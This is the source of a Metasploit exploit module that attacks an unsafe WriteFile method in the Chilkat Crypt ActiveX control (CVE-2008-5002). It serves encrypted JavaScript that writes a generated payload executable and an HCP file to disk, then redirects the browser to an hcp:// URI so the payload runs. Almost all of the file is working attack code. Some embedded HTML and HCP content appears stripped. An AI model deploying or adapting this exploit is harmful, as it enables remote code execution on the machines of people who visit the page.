## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Chilkat Crypt ActiveX WriteFile Unsafe Method', 'Description' => %q{ This module allows attackers to execute code via the 'WriteFile' unsafe method of Chilkat Software Inc's Crypt ActiveX control. This exploit is based on shinnai's exploit that uses an hcp:// protocol URI to execute our payload immediately. However, this method requires that the victim user be browsing with Administrator. Additionally, this method will not work on newer versions of Windows. NOTE: This vulnerability is still unpatched. The latest version of Chilkat Crypt at the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0. }, 'License' => MSF_LICENSE, 'Author' => [ 'shinnai', 'jduck' ], 'References' => [ [ 'CVE', '2008-5002' ], [ 'OSVDB', '49510' ], [ 'BID', '32073' ], [ 'EDB', '6963' ] ], 'Payload' => { 'Space' => 2048 }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 03 2008' )) @javascript_encode_key = rand_text_alpha(rand(10) + 10) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) if (!request.uri.match(/\?\w+/)) send_local_redirect(cli, "?#{@javascript_encode_key}") return end # Set parameters fnname = rand_text_alpha(8+rand(8)) si_name = "msinfo" # must be this, other names don't seem to work exe_name = rand_text_alpha(8+rand(8)) hcp_path = "C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\#{si_name}.htm" hcp_url = "hcp:\\x2f\\x2fsystem/sysinfo/#{si_name}.htm" exe_path = "C:\\#{exe_name}.exe" # Generate HCP data hcp_data = %Q| | # (Re-)Generate the EXE payload return if ((p = regenerate_payload(cli)) == nil) exe_data = generate_payload_exe({ :code => p.encoded }) # Encode variables hcp_str = Rex::Text.to_unescape(hcp_data) hcp_path.gsub!(/\\/, '\\\\\\\\') exe_str = Rex::Text.to_unescape(exe_data) exe_path.gsub!(/\\/, '\\\\\\\\') # Build the final JS js = %Q| function #{fnname}() { var my_unescape = unescape; var obj = new ActiveXObject("ChilkatCrypt2.ChilkatCrypt2"); var exe_path = "#{exe_path}"; var exe_str = "#{exe_str}"; var exe_data = my_unescape(exe_str); obj.WriteFile(exe_path, exe_data); var hcp_str = "#{hcp_str}"; var hcp_data = my_unescape(hcp_str); var hcp_path = "#{hcp_path}"; obj.WriteFile(hcp_path, hcp_data); window.location = "#{hcp_url}"; } | =begin # Obfuscate the javascript opts = { 'Strings' => false, # didn't work in this case 'Symbols' => { 'Variables' => %w{ my_unescape obj exe_path exe_str exe_data hcp_str hcp_data hcp_path } } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) js.obfuscate() =end js = encrypt_js(js, @javascript_encode_key) # Build the final HTML content = %Q|
Please wait... | print_status("Sending #{self.name}") send_response_html(cli, content) handler(cli) end end